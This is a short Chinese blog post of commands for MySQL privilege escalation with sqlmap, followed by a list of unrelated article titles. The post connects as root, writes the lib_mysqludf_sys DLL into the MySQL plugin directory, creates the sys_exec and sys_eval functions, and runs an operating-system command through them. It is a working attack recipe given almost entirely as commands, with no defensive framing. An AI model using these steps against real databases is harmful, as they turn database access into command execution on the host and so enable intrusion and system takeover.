SQLMAP UDF提权
2024-10-18 19:43:19
SQLMAP UDF提权
1.连接mysql数据打开一个交互shell:
sqlmap.py -d mysql://root:root@127.0.0.1:3306/test --sql-shell
select @@version;
select @@plugin_dir;
d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\
2.利用sqlmap上传lib_mysqludf_sys到MySQL插件目录:
sqlmap.py -d mysql://root:root@127.0.0.1:3306/test --file-write=d:/tmp/lib_mysqludf_sys.dll --file-dest=d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\lib_mysqludf_sys.dll
CREATE FUNCTION sys_exec RETURNS STRING SONAME 'lib_mysqludf_sys.dll'
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.dll'
select sys_eval('ver');
最新文章
- 客户端挂载NFS服务器中的共享目录(用户后台上传图片与前台上传图片放在同一个服务器上)
- Python 进阶 - 正则表达式
- OpenXml入门----给Word文档添加文字
- mysql如何用order by 自定义排序
- Linux重定向命令
- fireBug使用指南
- Http简析
- resin 4.0数据源的配置
- poj 3277 Mountains
- Vim光标移动
- 动态规划---最长上升子序列问题(O(nlogn),O(n^2))
- ajaxFileUpload+struts2实现多文件上传(动态添加文件上传框)
- 【基础网络】TCP与UDP 的区别
- python selenium鼠标键盘操作(ActionChains)
- 2018-2019-2 《Java程序设计》第7周学习总结
- autocomplete初步使用
- python assert断言函数
- NOIP模拟赛-2018.11.7
- MySQL数据类型字节长度
- MongoDB-3.4搭建副本集
热门文章
- Spring4 MVC Hibernate4 maven集成
- vue 使用技巧总结 18.11
- 在 Web 页面使用 VLC 插件播放 m3u8 视频流 (360 极速模式)
- Web API 2 添加Models and Controllers Part 2.
- 【bzoj1150】[CTSC2007]数据备份Backup 模拟费用流+链表+堆
- Civil 3D 二次开发 创建AutoCAD对象—— 00 ——
- HTC Vive 基础入门 基于Unity3D引擎
- Spring 使用介绍(十二)—— Spring Task
- BZOJ2084[Poi2010]Antisymmetry——回文自动机
- Luogu5280 ZJOI2019线段树(线段树)